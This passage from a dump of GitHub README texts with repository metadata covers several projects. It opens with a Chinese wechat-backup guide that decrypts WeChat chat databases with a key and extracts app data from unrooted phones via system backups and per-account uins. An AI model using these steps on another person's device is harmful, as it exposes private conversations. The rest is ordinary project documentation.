```shell $ git clone https://github.com/greycodee/wechat-backup.git $ cd wechat-backup $ go build . $ ./wechat-backup -f '[替换成你的微信备份文件路径]' ``` > ~~注意⚠️：WxFileIndex.db 里面文数据表名老版本微信是 WxFileIndex2 ,新版本微信是 WxFileIndex3 ，请根据实际情况来设置代码 wxfileindex.go 文件中 SQL 查询的表名~~(已在代码中做处理) ## 快速解密微信DB 把要解密的微信 DB 所在文件夹挂在到容器的 `/wcdb` 上面。 ```shell $ docker run --rm -v /Users/zheng/Documents:/wcdb greycodee/wcdb-sqlcipher -f DB名字 -k 解密密钥 2022/06/22 05:31:17 开始解密... 2022/06/22 05:31:28 解密成功: ok 2022/06/22 05:31:28 明文数据库文件名: EnMicroMsg_plain.db ``` ## 快速转换微信语音 amr 文件把要转换的语音文件夹挂载到容器的 `/media` 目录上，然后执行下面的命令，就会自动将文件夹里的语音转换成 `mp3` 格式了。 ```shell $ docker run --rm -v /Users/zheng/Documents/voice2:/media greycodee/silkv3-decoder /media/msg_491351061422dbfa9bb0a84104.amr -e [OK] Convert /media/msg_491351061422dbfa9bb0a84104.amr To /media/msg_491351061422dbfa9bb0a84104.mp3 Finish. ``` ## 手机没有 ROOT 解决方法如果没有有 ROOT 的手机，根据 V 友的说法，使用安卓模拟器的话有一定的封号机率。这个还有一个方法就是使用手机自带的系统备份。我自己是miui系统的手机，整理了大致方法如下： 1. 在手机设置里找到备份功能，然后备份微信应用数据 2. 备份的数据放在手机的 MIUI/backup/AllBackup/备份的日期/ 下 3. 里面有三个文件分别是 .bak .zip .xml 结尾 4. zip 可以直接解压，然后获取聊天语音和聊天视频等文件 5. bak 需要使用 HEX 编辑器打开，然后将 41 4E 前的数据删除（就是这个文件的描述数据）。然后保存 6. 使用 abe 解包工具进行 .bak 文件的解包，开源工具地址：https://github.com/nelenkov/android-backup-extractor 7. 解压解包后生产的 tar 压缩包，然后从里面可以获取到 DB 等文件（相当于本来要ROOT后才能获取到的这些数据，现在可以直接获取了） > 我这边通过系统备份然后 bak 文件解包-解压后，文件路径在：apps/com.tencent.mm/r/MicroMsg/ 下，大家可以参考一下 > 如果通过手机系统自带的备份来获取数据时，解密 DB 的密码可以通过这篇文章的方法一来获取： [获取 DB 解密密码](https://blog.greycode.top/posts/android-wechat-bak/#%E8%8E%B7%E5%8F%96-db-%E8%AE%BF%E9%97%AE%E5%AF%86%E7%A0%81) ## Q&A ### 语音和视频所在文件夹在 `/data/data/com.tencent.mm/MicroMsg/[32位字母]` 文件夹下，有个 `account.mapping` 文件，里面对应的 `/sdcard/Android/data/com.tencent.mm/MicroMsg` 下文件夹的名称，里面存储了聊天视频和语音等文件。 ### 一台设备登陆多个微信怎么查找 uin？在 `/data/data/com.tencent.mm/shared_prefs` 文件夹下有个 `app_brand_global_sp.xml` 文件，里面存放着所有登陆过微信的 uin，然后可以用这些 uin 去解密对应的微信 DB。 ## Star History [![Star History Chart](https://api.star-history.com/svg?repos=greycodee/wechat-backup&type=Date)](https://star-history.com/?utm_source=bestxtools.com#greycodee/wechat-backup&Date)	微信聊天记录持久化备份本地硬盘，释放手机存储空间。	null	1	2	4	96	7	3	1
0atman/noboilerplate	Scripts for my talks on the No Boilerplate channel are in `scripts/`, you can read them here on github by clicking through into the folder, or download the whole lot to your computer and read offline by clicking the green "code" button then "download zip". I build these using [obsidian.md](https://obsidian.md/) and the [advanced-slides plugin](https://github.com/MSzturc/obsidian-advanced-slides): I take each slide, printscreen it, and splice it with my audio using [reaper.fm](http://reaper.fm/). --- [![Screenshot from 2022-07-13 17-49-52](https://user-images.githubusercontent.com/114097/178788174-86a6e745-a5cb-4d0c-820f-85cedfe9618d.png)](https://www.youtube.com/c/NoBoilerplate) # Recommended Rust Reading Here are some great resources that I used to teach myself: - The Book https://doc.rust-lang.org/stable/book/ - Everything on fasterthanli.me, starting with https://fasterthanli.me/articles/understanding-rust-futures-by-going-way-too-deep - Rust By Example (follows the same chapter ordering to The Book) https://doc.rust-lang.org/rust-by-example/ - Rustlings code kata, learn by fixing tiny failing tests https://github.com/rust-lang/rustlings - My video series on Rust (of course!) playlist here, watch RUST-6 first (my recommended set up) and then the rest in any order: https://www.youtube.com/watch?v=ifaLk5v3W90&list=PLZaoyhMXgBzoM9bfb5pyUOT3zjnaDdSEP&index=6 - My Discord server, especially #programming and #newbie-advice. There's a huge community of friendly folks here, answering questions on Rust all day every day. Do tag me and say hi! https://discord.gg/mCY2bBmDKZ Have fun, and good luck!	Code for my talks on the No Boilerplate channel	education,rust,video	0	14	54	248	3	49	0
OnionUI/Onion	<p> </p> # <img alt="Onion" src="https://user-images.githubusercontent.com/44569252/179510333-40793fbc-f2a3-4269-8ab9-569b191d423f.png" width="196px"> An enhanced operating system for your Miyoo Mini and Mini+, featuring fine-tuned emulation with 100+ built-in emulators, auto-save and resume, a wealth of customization options, and much more. Performant, reliable, and straightforward retro gaming right in your pocket. <p> </p> <p align="center"> <a href="https://onionui.github.io/docs"><img alt="Getting Started" src="https://user-images.githubusercontent.com/44569252/190487908-0fb16c8e-5ff5-4ee2-921a-0a9427f26587.png"></a> <a href="https://onionui.github.io/docs/features"><img alt="Features" src="https://user-images.githubusercontent.com/44569252/190487893-7a4a2287-462a-4d91-a4fc-ace80580653a.png"></a> <a href="https://onionui.github.io/docs/faq"><img alt="FAQ" src="https://user-images.githubusercontent.com/44569252/190487922-3d6b8df9-da26-47e8-b397-e4104156ede6.png"></a> </p> <p align="center"> <a href="https://github.com/OnionUI/Themes/blob/main/README.md"><img alt="Getting Started" src="https://user-images.githubusercontent.com/44569252/226488035-e321e466-87c3-431f-bc81-52eb6a33c225.png"></a> <a href="https://onionui.github.io/docs/ports"><img alt="Features" src="https://user-images.githubusercontent.com/44569252/228782816-cd9c479f-4c46-46ba-abd5-42158d19de7b.png"></a> </p> <p> </p> <p align="center"><a href="https://onionui.github.io/docs/features"><img src="https://user-images.githubusercontent.com/44569252/226488511-297034e2-bb69-4f87-bd18-2ae6ff1e7300.gif"></a></p> <p align="right"><sub><i>Icons by <a href="https://icons8.com" target="_blank">Icons8</a></i></sub></p>	OS overhaul for Miyoo Mini and Mini+	miyoo-mini,miyoomini,emulator-frontend,retroarch	20	84	405	1,180	94	19	7
Droid-ify/client	<div align="center"> <img width="" src="app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png" alt="Droid-ify" align="center"> # Droid-ify ### A quick material F-Droid client. [![Github Stars](https://img.shields.io/github/stars/Iamlooker/Droid-ify?color=%2364f573&style=for-the-badge)](https://github.com/Iamlooker/Droid-ify/stargazers) [![Github License](https://img.shields.io/github/license/Iamlooker/Droid-ify?color=%2364f573&style=for-the-badge)](https://github.com/Iamlooker/Droid-ify/blob/master/COPYING) [![Github Downloads](https://img.shields.io/github/downloads/Iamlooker/Droid-ify/total.svg?color=%23f5ad64&style=for-the-badge)](https://github.com/Iamlooker/Droid-ify/releases/) [![Github Latest](https://img.shields.io/github/v/release/Iamlooker/Droid-ify?display_name=tag&color=%23f5ad64&style=for-the-badge)](https://github.com/Iamlooker/Droid-ify/releases/latest) [![FDroid Latest](https://img.shields.io/f-droid/v/com.looker.droidify?color=%23f5ad64&style=for-the-badge)](https://f-droid.org/packages/com.looker.droidify) <div align="left"> ## Features * Material & Clean design * Fast repository syncing * Smooth user experience * Feature-rich ## Screenshots <img src="metadata/en-US/images/phoneScreenshots/1.png" width="25%" /><img src="metadata/en-US/images/phoneScreenshots/2.png" width="25%" /><img src="metadata/en-US/images/phoneScreenshots/3.png" width="25%" /><img src="metadata/en-US/images/phoneScreenshots/4.png" width="25%" /> ## Building and Installing 1. Install Android Studio: - Download and install [Android Studio](https://developer.android.com/studio) on your computer if you haven't already. 2. Clone the Repository: - Open Android Studio and select "Project from Version Control." - Paste the link to this repository to clone it to your local machine. 3. Build the APK: - In Android Studio, navigate to `Build > APK`. - Select "Create New Keystore" and enter the required information, including a password. - Wait for the build process to finish. ## TODO - [ ] Add support for `index-v2` - [ ] Add detekt code-analysis - [ ] Add GitHub Repo feature ## Contribution - Pick any issue you would like to resolve - Fork the project - Open a Pull Request - Your PR will undergo review ## Translations [![Translation status](https://hosted.weblate.org/widgets/droidify/-/horizontal-auto.svg)](https://hosted.weblate.org/engage/droidify/?utm_source=widget) ## License ``` Droid-ify Copyright (C) 2023 LooKeR This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. ```	F-Droid client with Material UI.	android,fdroid,android-application,kotlin,kotlin-android,kotlin-flow,hacktoberfest	29	159	224	2,270	161	12	4
spotify/basic-pitch	![Basic Pitch Logo](https://user-images.githubusercontent.com/213293/167478083-de988de2-9137-4325-8a5f-ceeb51233753.png) [![License](https://img.shields.io/badge/License-Apache_2.0-blue.svg)](https://opensource.org/licenses/Apache-2.0) ![PyPI - Python Version](https://img.shields.io/pypi/pyversions/basic-pitch) ![Supported Platforms](https://img.shields.io/badge/platforms-macOS%20%7C%20Windows%20%7C%20Linux-green) Basic Pitch is a Python library for Automatic Music Transcription (AMT), using lightweight neural network developed by [Spotify's Audio Intelligence Lab](https://research.atspotify.com/audio-intelligence/). It's small, easy-to-use, `pip install`-able and `npm install`-able via its [sibling repo](https://github.com/spotify/basic-pitch-ts). Basic Pitch may be simple, but it's is far from "basic"! `basic-pitch` is efficient and easy to use, and its multipitch support, its ability to generalize across instruments, and its note accuracy competes with much larger and more resource-hungry AMT systems. Provide a compatible audio file and basic-pitch will generate a MIDI file, complete with pitch bends. Basic pitch is instrument-agnostic and supports polyphonic instruments, so you can freely enjoy transcription of all your favorite music, no matter what instrument is used. Basic pitch works best on one instrument at a time. ### Research Paper This library was released in conjunction with Spotify's publication at [ICASSP 2022](https://2022.ieeeicassp.org/). You can read more about this research in the paper, [A Lightweight Instrument-Agnostic Model for Polyphonic Note Transcription and Multipitch Estimation](https://arxiv.org/abs/2203.09893). If you use this library in academic research, consider citing it: ```bibtex @inproceedings{2022_BittnerBRME_LightweightNoteTranscription_ICASSP, author= {Bittner, Rachel M. and Bosch, Juan Jos\'e and Rubinstein, David and Meseguer-Brocal, Gabriel and Ewert, Sebastian}, title= {A Lightweight Instrument-Agnostic Model for Polyphonic Note Transcription and Multipitch Estimation}, booktitle= {Proceedings of the IEEE International Conference on Acoustics, Speech, and Signal Processing (ICASSP)}, address= {Singapore}, year= 2022, } ``` Note that we have improved Basic Pitch beyond what was presented in this paper. Therefore, if you use the output of Basic Pitch in academic research, we recommend that you cite the version of the code that was used. ### Demo If, for whatever reason, you're not yet completely inspired, or you're just like so totally over the general vibe and stuff, checkout our snappy demo website, [basicpitch.io](https://basicpitch.io), to experiment with our model on whatever music audio you provide! ## Installation `basic-pitch` is available via PyPI. To install the current release: pip install basic-pitch To update Basic Pitch to the latest version, add `--upgrade` to the above command. #### Compatible Environments: - MacOS, Windows and Ubuntu operating systems - Python versions 3.7, 3.8, 3.9, 3.10, 3.11 - For Mac M1 hardware, we currently only support python version 3.10. Otherwise, we suggest using a virtual machine. ### Model Runtime Basic Pitch comes with the original TensorFlow model and the TensorFlow model converted to [CoreML](https://developer.apple.com/documentation/coreml), [TensorFlowLite](https://www.tensorflow.org/lite), and [ONNX](https://onnx.ai/). By default, Basic Pitch will _not_ install TensorFlow as a dependency unless you are using Python>=3.11. Instead, by default, CoreML will be installed on MacOS, TensorFlowLite will be installed on Linux and ONNX will be installed on Windows. If you want to install TensorFlow along with the default model inference runtime, you can install TensorFlow via `pip install basic-pitch[tf]`. ## Usage ### Model Prediction ### Model Runtime By default, Basic Pitch will attempt to load a model in the following order: 1. TensorFlow 2. CoreML 3. TensorFlowLite 4. ONNX Additionally, the module variable ICASSP_2022_MODEL_PATH will default to the first available version in the list. We will explain how to override this priority list below. Because all other model serializations were converted from TensorFlow, we recommend using TensorFlow when possible. N.B. Basic Pitch does not install TensorFlow by default to save the user time when installing and running Basic Pitch. #### Command Line Tool This library offers a command line tool interface. A basic prediction command will generate and save a MIDI file transcription of audio at the `<input-audio-path>` to the `<output-directory>`: ```bash basic-pitch <output-directory> <input-audio-path> ``` For example: ``` basic-pitch /output/directory/path /input/audio/path ``` To process more than one audio file at a time: ```bash basic-pitch <output-directory> <input-audio-path-1> <input-audio-path-2> <input-audio-path-3> ``` Optionally, you may append any of the following flags to your prediction command to save additional formats of the prediction output to the `<output-directory>`: - `--sonify-midi` to additionally save a `.wav` audio rendering of the MIDI file. - `--save-model-outputs` to additionally save raw model outputs as an NPZ file. - `--save-note-events` to additionally save the predicted note events as a CSV file. If you want to use a non-default model type (e.g., use CoreML instead of TF), use the `--model-serialization` argument. The CLI will change the loaded model to the type you prefer. To discover more parameter control, run: ```bash basic-pitch --help ``` #### Programmatic predict() Import `basic-pitch` into your own Python code and run the [`predict`](basic_pitch/inference.py) functions directly, providing an `<input-audio-path>` and returning the model's prediction results: ```python from basic_pitch.inference import predict from basic_pitch import ICASSP_2022_MODEL_PATH model_output, midi_data, note_events = predict(<input-audio-path>) ``` - `<minimum-frequency>` & `<maximum-frequency>` (floats) set the maximum and minimum allowed note frequency, in Hz, returned by the model. Pitch events with frequencies outside of this range will be excluded from the prediction results. - `model_output` is the raw model inference output - `midi_data` is the transcribed MIDI data derived from the `model_output` - `note_events` is a list of note events derived from the `model_output` Note: As mentioned previously, ICASSP_2022_MODEL_PATH will default to the runtime first supported in the list TensorFlow, CoreML, TensorFlowLite, ONNX. predict() in a loop To run prediction within a loop, you'll want to load the model yourself and provide `predict()` with the loaded model object itself to be used for repeated prediction calls, in order to avoid redundant and sluggish model loading. ```python import tensorflow as tf from basic_pitch.inference import predict, Model from basic_pitch import ICASSP_2022_MODEL_PATH basic_pitch_model = Model(ICASSP_2022_MODEL_PATH)) for x in range(): ... model_output, midi_data, note_events = predict( <loop-x-input-audio-path>, basic_pitch_model, ) ... ``` predict_and_save() If you would like `basic-pitch` orchestrate the generation and saving of our various supported output file types, you may use [`predict_and_save`](basic_pitch/inference.py) instead of using [`predict`](basic_pitch/inference.py) directly: ```python from basic_pitch.inference import predict_and_save predict_and_save( <input-audio-path-list>, <output-directory>, <save-midi>, <sonify-midi>, <save-model-outputs>, <save-notes>, ) ``` where: - `<input-audio-path-list>` & `<output-directory>` - directory paths for `basic-pitch` to read from/write to. - `<save-midi>` - bool to control generating and saving a MIDI file to the `<output-directory>` - `<sonify-midi>` - bool to control saving a WAV audio rendering of the MIDI file to the `<output-directory>` - `<save-model-outputs>` - bool to control saving the raw model output as a NPZ file to the `<output-directory>` - `<save-notes>` - bool to control saving predicted note events as a CSV file `<output-directory>` ### Model Input Supported Audio Codecs `basic-pitch` accepts all sound files that are compatible with its version of [`librosa`](https://librosa.org/doc/latest/index.html), including: - `.mp3` - `.ogg` - `.wav` - `.flac` - `.m4a` Mono Channel Audio Only While you may use stereo audio as an input to our model, at prediction time, the channels of the input will be down-mixed to mono, and then analyzed and transcribed. File Size/Audio Length This model can process any size or length of audio, but processing of larger/longer audio files could be limited by your machine's available disk space. To process these files, we recommend streaming the audio of the file, processing windows of audio at a time. Sample Rate Input audio maybe be of any sample rate, however, all audio will be resampled to 22050 Hz before processing. ### VST Thanks to DamRsn for developing this working VST version of basic-pitch! - https://github.com/DamRsn/NeuralNote ## Contributing Contributions to `basic-pitch` are welcomed! See [CONTRIBUTING.md](CONTRIBUTING.md) for details. ## Copyright and License `basic-pitch` is Copyright 2022 Spotify AB. This software is licensed under the Apache License, Version 2.0 (the "Apache License"). You may choose either license to govern your use of this software only upon the condition that you accept all of the terms of either the Apache License. You may obtain a copy of the Apache License at: http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the Apache License or the GPL License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the Apache License for the specific language governing permissions and limitations under the Apache License.	A lightweight yet powerful audio-to-MIDI converter with pitch bend detection	lightweight,machine-learning,midi,music,pitch-detection,polyphonic,transcription,audio,python,typescript	7	38	57	193	21	18	2
NirmalScaria/le-git-graph	## Le Git Graph - Commits Graph for GitHub <img src = "https://drive.google.com/uc?export=download&id=12bnQqy4cm2vQcZSKWo2INBv-69iqkF_p" width = "150"> A browser extension that displays the git graph for any GitHub repository. [![Version](https://img.shields.io/badge/License-MIT-yellow)]() [![Version](https://img.shields.io/badge/Version-1.2.8-yellowgreen)]() [![Version](https://img.shields.io/badge/Chrome_CI/CD-Success-green)]() [![Version](https://img.shields.io/badge/Firefox_CI/CD-Success-green)]() ## Demo ![Demo Image](https://user-images.githubusercontent.com/46727865/218700103-c26082db-a696-435c-934c-cc66e1c067bd.png) ## Installation Install the extension from the link - For Google Chrome, Opera, Vivaldi, Brave, and Microsoft Edge: [https://chrome.google.com/webstore/detail/le-git-graph-commits-grap/joggkdfebigddmaagckekihhfncdobff](https://chrome.google.com/webstore/detail/le-git-graph-commits-grap/joggkdfebigddmaagckekihhfncdobff) For Mozilla Firefox: [https://addons.mozilla.org/firefox/addon/le-git-graph-github-git-graph/](https://addons.mozilla.org/firefox/addon/le-git-graph-github-git-graph/) After installation, open any GitHub repository and a new 'Commits' tab will be visible. Open the commits tab and follow the prompt to authenticate with your GitHub account. ## Setup for Private Repos owned by an Organization Access to private repositories owned by an organization is restricted by default. To access the commits graph for such repositories, you need to follow the following steps. 1. Go to [https://github.com/settings/tokens](https://github.com/settings/tokens) 2. Create a Personal Access Token (PAT) with the following scopes - - repo \| Full control of private repositories 3. Go back to the commits tab of a repo owned by the organization. 4. From the dropdown for "Authorize with GitHub", select "Custom Personal Access Token". 5. Enter the PAT and click on "Add PAT". (Full access to repo is required to fetch the commits graph, because there is no read only access level for GitHub OAuth scopes as of now.) ## Tech Stack Client: JavaScript, Manifest V3 Server: GitHub GraphQL, GitHub OAuth, FireBase Cloud Functions ## Features - Authentication with GitHub OAuth ✓ - Connection to GitHub GraphQL ✓ - Fetch the commits data from API ✓ - Fetch further commits on demand ✓ - Option to specify access level (public only or private too) ✓ - Hover on the commit dot to see details ✓ - Option to add custom PAT ✓ - Filter the commits based on branch - Pending ## Contact Feel free to drop a mail at scaria@scaria.dev or nirmalscaria1@gmail.com	Browser extension to add git graph to GitHub website.	chrome-extension,git-graph,github,collaborate,hacktoberfest	7	2	34	116	21	8	2
odigos-io/odigos	<p align="center"> <a href="https://github.com/odigos-io/odigos/actions/workflows/publish-cli.yml" target="_blank"> <img src="https://github.com/odigos-io/odigos/actions/workflows/publish-cli.yml/badge.svg" alt="Release Odigos CLI" style="margin-right: 10px; border: 1px solid #007acc; border-radius: 4px; padding: 5px;"> </a> <a href="https://goreportcard.com/report/github.com/odigos-io/odigos/cli" target="_blank"> <img src="https://goreportcard.com/badge/github.com/odigos-io/odigos/cli" alt="Go Report Card" style="margin-right: 10px; border: 1px solid #4CAF50; border-radius: 4px; padding: 5px;"> </a> <a href="https://godoc.org/github.com/odigos-io/odigos/cli" target="_blank"> <img src="https://godoc.org/github.com/odigos-io/odigos/cli?status.svg" alt="GoDoc" style="border: 1px solid #f39c12; border-radius: 4px; padding: 5px;"> </a> </p> <p align="center"> <img src="assets/logo.png" width="350" /></br> <h2>Generate distributed traces for any application in k8s without code changes.</h2> </p> <h2 align="center"> <a href="https://www.youtube.com/watch?v=nynyV7FC4VI">Demo Video</a> • <a href="https://docs.odigos.io">Documentation</a> • <a href="https://join.slack.com/t/odigos/shared_invite/zt-1d7egaz29-Rwv2T8kyzc3mWP8qKobz~A">Join Slack Community</a> </h2> ### ✨ Language Agnostic Auto-instrumentation Odigos supports any application written in Java, Python, .NET, Node.js, and Go. Historically, compiled languages like Go have been difficult to instrument without code changes. Odigos solves this problem by uniquely leveraging [eBPF](https://ebpf.io). ![Works on any application](assets/choose_apps.png) ### 🤝 Keep your existing observability tools Odigos currently supports all the popular managed and open-source destinations. By producing data in the [OpenTelemetry](https://opentelemetry.io) format, Odigos can be used with any observability tool that supports OTLP. For a complete list of supported destinations, see [here](#supported-destinations). ![Works with any observability tool](assets/choose_dest.png) ### 🎛️ Collectors Management Odigos automatically scales OpenTelemetry collectors based on observability data volume. Manage and configure collectors via a convenient web UI. ![Collectors Management](assets/overview_page.png) ## Installation Installing Odigos takes less than 5 minutes and requires no code changes. Download our [CLI](https://docs.odigos.io/installation) and run the following command: ```bash odigos install ``` For more details, see our [quickstart guide](https://docs.odigos.io/intro). ## Supported Destinations For step-by-step instructions detailed for every destination, see these [docs](https://docs.odigos.io/backends). ### Managed \| \| Traces \| Metrics \| Logs \| \|-------------------------\| ------- \| ------- \|------\| \| New Relic \| ✅ \| ✅ \| ✅ \| \| Datadog \| ✅ \| ✅ \| ✅ \| \| Grafana Cloud \| ✅ \| ✅ \| ✅ \| \| Honeycomb \| ✅ \| ✅ \| ✅ \| \| Chronosphere \| ✅ \| ✅ \| \| \| Logz.io \| ✅ \| ✅ \| ✅ \| \| qryn.cloud \| ✅ \| ✅ \| ✅ \| \| OpsVerse \| ✅ \| ✅ \| ✅ \| \| Dynatrace \| ✅ \| ✅ \| ✅ \| \| AWS S3 \| ✅ \| ✅ \| ✅ \| \| Google Cloud Monitoring \| ✅ \| \| ✅ \| \| Google Cloud Storage \| ✅ \| \| ✅ \| \| Azure Blob Storage \| ✅ \| \| ✅ \| \| Splunk \| ✅ \| \| \| \| Lightstep \| ✅ \| \| \| \| Sentry \| ✅ \| \| \| \| Axiom \| ✅ \| \| ✅ \| \| Sumo Logic \| ✅ \| ✅ \| ✅ \| \| Coralogix \| ✅ \| ✅ \| ✅ \| ### Open Source \| \| Traces \| Metrics \| Logs \| \| ------------- \| ------ \| ------- \| ---- \| \| Prometheus \| \| ✅ \| \| \| Tempo \| ✅ \| \| \| \| Loki \| \| \| ✅ \| \| Jaeger \| ✅ \| \| \| \| SigNoz \| ✅ \| ✅ \| ✅ \| \| qryn \| ✅ \| ✅ \| ✅ \| \| Elasticsearch \| ✅ \| \| ✅ \| \| Quickwit \| ✅ \| \| ✅ \| Can't find the destination you need? Help us by following our quick [add new destination](https://docs.odigos.io/adding-new-dest) guide and submitting a PR. ## Contributing Please refer to the [CONTRIBUTING.md](CONTRIBUTING.md) file for information about how to get involved. We welcome issues, questions, and pull requests. Feel free to join our active [Slack Community](https://join.slack.com/t/odigos/shared_invite/zt-1d7egaz29-Rwv2T8kyzc3mWP8qKobz~A). ## All Thanks To Our Contributors <a href="https://github.com/odigos-io/odigos/graphs/contributors"> <img src="https://contrib.rocks/image?repo=keyval-dev/odigos" /> </a> ## License This project is licensed under the terms of the Apache 2.0 open-source license. Please refer to [LICENSE](LICENSE) for the full terms.	Distributed tracing without code changes. 🚀 Instantly monitor any application using OpenTelemetry and eBPF	ebpf,kubernetes,observability,opentelemetry,logs,metrics,traces,dotnet,go,java	115	55	1,120	933	16	18	14
hackclub/some-assembly-required	# Some Assembly Required ### An approachable introduction to assembly. <p align="center"> <img width="375" src="https://cloud-1b2fvx8fc-hack-club-bot.vercel.app/0cover.png"> </p> <br /> Since forever ago, I've wanted to try writing assembly, even if just to understand why the [Rollercoaster Tycoon creator would write 99% of the game](https://en.wikipedia.org/wiki/RollerCoaster_Tycoon_(video_game)#:~:text=Sawyer%20wrote%2099%25%20of%20the,%2C%20rendering%2C%20and%20paint%20programs.) in it. To be fair, even after all of this, I still don't understand why they did that. Embarking on this quest, I quickly found a lot of scattered and difficult to understand resources. It took compiling a bunch of different materials together to come to a high level understanding of what's happening in my computer. I wanted to write down my learnings for those who are new to this part of their computer (like me!), including [working code examples](/code). This is by no means an exhaustive guide, but instead serves as an approachable introduction to assembly. Going through this guide takes as little as 30 minutes, but you can also spend a few hours going through it if you want to delve into the code examples. Enjoy! <br /> --- <p align="center"> <em> <b> <a href="/guide/table-of-contents.md"> What's inside? → </a> </b> </em> </p> --- <p align="center"> <a href="https://hackclub.com/"> <img width="35" src="https://cloud-l0g1cgz4b-hack-club-bot.vercel.app/0h.png"><br/> Made with love by Hack Club </a> </p>	📖 An approachable introduction to Assembly.	null	0	58	71	1,065	2	1	0
pulsar-edit/pulsar	<br> <div align = center> [![Badge Discussions]][Discussions] [![Badge Discord]][Discord] [![Badge Reddit]][Reddit] [![Badge Mastodon]][Mastodon] [![Badge Lemmy]][Lemmy] [![Badge Status]][Status] [![Badge License]][License] <br> # Pulsar <br> [![Button Install]][Install] [![Button Documentation]][Documentation] [![Button Build]][Build] [![Badge Codacy]][Codacy] [![Badge Crowdin]][Crowdin] [![Badge OpenCollective]][OpenCollective] <br> A Community-led Hyper-Hackable Text Editor, Forked from [Atom], built on [Electron]. Designed to be deeply customizable, but still approachable using the default configuration. <br> <br> [![Preview]][#] </div> <!---------------------------{ Links }---------------------------> [OpenCollective]: https://opencollective.com/pulsar-edit [Discussions]: https://github.com/orgs/pulsar-edit/discussions [Electron]: https://github.com/electron/electron [Atom]: https://github.blog/2022-06-08-sunsetting-atom/ [Discord]: https://discord.gg/7aEbB9dGRT 'Join the Pulsar Discord today!' [Crowdin]: https://crowdin.pulsar-edit.dev [Status]: https://cirrus-ci.com/github/pulsar-edit/pulsar/master [Codacy]: https://app.codacy.com/gh/pulsar-edit/pulsar [Reddit]: https://www.reddit.com/r/pulsaredit/ [Mastodon]: https://fosstodon.org/@pulsaredit/ [Lemmy]: https://lemmy.ml/c/pulsaredit/ [#]: # <!---------------------------{ Documents }---------------------------> [Documentation]: https://pulsar-edit.dev/docs/ 'Information how to use & work with Pulsar.' [Install]: https://pulsar-edit.dev/docs/launch-manual/sections/getting-started/#installing-pulsar 'How to install Pulsar on your system.' [Build]: https://pulsar-edit.dev/docs/launch-manual/sections/core-hacking/#building-pulsar 'Instructions on how to build Pulsar by yourself.' [License]: LICENSE.md <!---------------------------{ Images }---------------------------> [Preview]: resources/readme.png 'Preview of the editor.' <!---------------------------{ Badges }---------------------------> [Badge OpenCollective]: https://opencollective.com/pulsar-edit/tiers/badge.svg [Badge Discussions]: https://img.shields.io/github/discussions/pulsar-edit/.github?style=for-the-badge&logo=GitHub&labelColor=50555b&color=35393d [Badge Upstream]: https://img.shields.io/badge/Upstream_Status-Sunset-966227.svg?style=for-the-badge&labelColor=c38033 [Badge Discord]: https://img.shields.io/badge/Discord-4b7494.svg?style=for-the-badge&labelColor=6399c4&logoColor=white&logo=Discord [Badge License]: https://img.shields.io/badge/License-MIT-ac7f31.svg?style=for-the-badge&labelColor=e5ab42 [Badge Crowdin]: https://badges.crowdin.net/pulsar-edit/localized.svg [Badge Codacy]: https://app.codacy.com/project/badge/Grade/24873ecb93dc4c1d865202ce5b24efc1 <!-- Reddit subscribers badge broken. See: https://github.com/badges/shields/issues/9817 & https://github.com/badges/shields/issues/9256 --> <!-- [Badge Reddit]: https://img.shields.io/reddit/subreddit-subscribers/pulsaredit?style=for-the-badge&label=Reddit&logoColor=white&logo=Reddit&labelColor=e05d44&color=b14835 --> [Badge Reddit]: https://img.shields.io/badge/%2Fr%2Fpulsaredit-e05d44?style=for-the-badge&logo=Reddit&logoColor=white&labelColor=e05d44&color=b14835 [Badge Status]: https://img.shields.io/cirrus/github/pulsar-edit/pulsar?style=for-the-badge&labelColor=c77b7f&label=Build%20Status&color=8d575a [Badge Mastodon]: https://img.shields.io/mastodon/follow/109416671848539153?domain=https%3A%2F%2Ffosstodon.org%2F&style=for-the-badge&logo=Mastodon&logoColor=white&label=Mastodon&labelColor=a0a0d8&color=7c7cc1 [Badge Lemmy]: https://img.shields.io/lemmy/pulsaredit%40lemmy.ml?style=for-the-badge&logo=Lemmy&logoColor=white&label=Lemmy&labelColor=64ad82&color=1d9b52 <!--------------------------{ Buttons }---------------------------> [Button Documentation]: https://img.shields.io/badge/Documentation-6399c4?style=for-the-badge&logoColor=white&logo=GitBook [Button Install]: https://img.shields.io/badge/Install-78af9f?style=for-the-badge&logoColor=white&logo=DocuSign [Button Build]: https://img.shields.io/badge/Building-e5ab42?style=for-the-badge&logoColor=white&logo=GNUBash	A Community-led Hyper-Hackable Text Editor	electron,javascript,pulsar,pulsar-edit	21	503	626	42,094	174	89	5
BandaiNamcoResearchInc/Bandai-Namco-Research-Motiondataset	# Bandai-Namco-Research-Motiondataset This repository provides motion datasets collected by Bandai Namco Research Inc. Find [here](README_Japanese.md) for a README in Japanese. There is a long-standing interest in making diverse stylized motions for games and movies that pursue realistic and expressive character animation; however, creating new movements that include all the various styles of expression using existing methods is difficult. Due to this, Motion Style Transfer (MST) has been drawing attention recently, which aims to convert the motion in a clip with a given content into another motion in a different style, while keeping the same content. A motion is composed of a content and style, where content is the base of the motion and style comprises of the attributes such as mood and personality of the character tied to the motion. The datasets contain a diverse range of contents such as daily activities, fighting, and dancing; with styles such as active, tired, and happy. These can be used as training data for MST models. The animation below shows examples of visualized motions. Currently, two datasets are available in this repository and are both located under the `dataset` directory. - Bandai-Namco-Research-Motiondataset-1 ([Details](dataset/Bandai-Namco-Research-Motiondataset-1/README.md)) - 17 types of wide-range contents including daily activities, fighting, and dancing. - 15 styles that include expression variety. - A total of 36,673 frames. <img src="src/Bandai-Namco-Research-Motiondataset-1/movie_walk.gif" width="100%"> - Bandai-Namco-Research-Motiondataset-2 ([Details](dataset/Bandai-Namco-Research-Motiondataset-2/README.md)) - 10 types of content mainly focusing on locomotion and hand actions. - 7 styles that use a single, uniform expression. - A total of 384,931 frames. <img src="src/Bandai-Namco-Research-Motiondataset-2/movie_walk.gif" width="100%"> You can find a sample script for visualization (using Blender) including step-by-step instructions under the `utils` directory. Please see [here](utils/blender/README.md) for details. ## Data Collection Each 